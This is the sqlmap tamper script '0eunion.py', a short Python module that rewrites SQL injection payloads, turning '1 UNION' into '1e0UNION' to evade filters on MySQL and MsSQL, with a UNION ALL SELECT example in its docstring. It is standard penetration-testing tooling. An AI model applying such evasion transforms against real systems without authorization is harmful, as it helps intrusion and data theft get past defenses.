0eunion.py

#!/usr/bin/env python

"""
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""

import re

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces an integer followed by UNION with an integer followed by e0UNION

    Requirement:
        * MySQL
        * MsSQL

    Notes:
        * Reference: https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf

    >>> tamper('1 UNION ALL SELECT')
    '1e0UNION ALL SELECT'
    """

    return re.sub(r"(?i)(\d+)\s+(UNION )", r"\g<1>e0\g<2>", payload) if payload else payload